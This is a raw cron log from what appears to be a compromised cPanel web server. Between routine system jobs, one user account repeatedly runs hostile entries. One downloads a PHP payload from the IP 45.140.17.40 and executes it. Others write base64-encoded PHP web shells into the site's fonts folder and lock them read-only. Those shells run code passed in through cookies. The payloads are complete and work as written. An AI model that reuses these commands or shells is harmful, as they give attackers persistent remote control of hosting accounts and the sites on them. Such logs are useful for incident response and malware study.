Sep 11 18:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13696]: finished 0anacron
Sep 11 18:02:01 ip-184-168-122-23 CROND[13792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:02:01 ip-184-168-122-23 CROND[13794]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:02:01 ip-184-168-122-23 CROND[13795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:02:01 ip-184-168-122-23 CROND[13798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:02:01 ip-184-168-122-23 CROND[13797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:03:01 ip-184-168-122-23 CROND[13956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:03:01 ip-184-168-122-23 CROND[13958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:03:01 ip-184-168-122-23 CROND[13960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:03:01 ip-184-168-122-23 CROND[13959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:04:02 ip-184-168-122-23 CROND[14044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:04:02 ip-184-168-122-23 CROND[14046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:04:02 ip-184-168-122-23 CROND[14045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:04:02 ip-184-168-122-23 CROND[14047]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:04:02 ip-184-168-122-23 CROND[14048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:05:01 ip-184-168-122-23 CROND[14149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:05:01 ip-184-168-122-23 CROND[14153]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:05:01 ip-184-168-122-23 CROND[14151]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:05:01 ip-184-168-122-23 CROND[14152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:05:01 ip-184-168-122-23 CROND[14155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:05:01 ip-184-168-122-23 CROND[14157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:05:01 ip-184-168-122-23 CROND[14159]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 18:06:02 ip-184-168-122-23 CROND[14265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:06:02 ip-184-168-122-23 CROND[14268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:06:02 ip-184-168-122-23 CROND[14270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:06:02 ip-184-168-122-23 CROND[14269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:06:02 ip-184-168-122-23 CROND[14267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:07:01 ip-184-168-122-23 CROND[14360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:07:01 ip-184-168-122-23 CROND[14362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:07:01 ip-184-168-122-23 CROND[14364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:07:01 ip-184-168-122-23 CROND[14363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:08:01 ip-184-168-122-23 CROND[14549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:08:01 ip-184-168-122-23 CROND[14550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:08:01 ip-184-168-122-23 CROND[14551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:08:01 ip-184-168-122-23 CROND[14552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:08:01 ip-184-168-122-23 CROND[14554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:09:01 ip-184-168-122-23 CROND[14639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:09:01 ip-184-168-122-23 CROND[14640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:09:01 ip-184-168-122-23 CROND[14643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:09:01 ip-184-168-122-23 CROND[14645]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 18:09:01 ip-184-168-122-23 CROND[14644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:10:01 ip-184-168-122-23 CROND[14753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:10:01 ip-184-168-122-23 CROND[14751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:10:01 ip-184-168-122-23 CROND[14754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:10:01 ip-184-168-122-23 CROND[14749]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:10:01 ip-184-168-122-23 CROND[14752]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:10:01 ip-184-168-122-23 CROND[14750]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 18:10:01 ip-184-168-122-23 CROND[14755]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:10:01 ip-184-168-122-23 CROND[14756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:11:01 ip-184-168-122-23 CROND[14860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:11:01 ip-184-168-122-23 CROND[14861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:11:01 ip-184-168-122-23 CROND[14862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:11:01 ip-184-168-122-23 CROND[14864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:12:01 ip-184-168-122-23 CROND[14964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:12:01 ip-184-168-122-23 CROND[14966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:12:01 ip-184-168-122-23 CROND[14969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:12:01 ip-184-168-122-23 CROND[14968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:12:01 ip-184-168-122-23 CROND[14967]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:13:01 ip-184-168-122-23 CROND[15132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:13:01 ip-184-168-122-23 CROND[15134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:13:01 ip-184-168-122-23 CROND[15135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:13:01 ip-184-168-122-23 CROND[15137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:14:01 ip-184-168-122-23 CROND[15218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
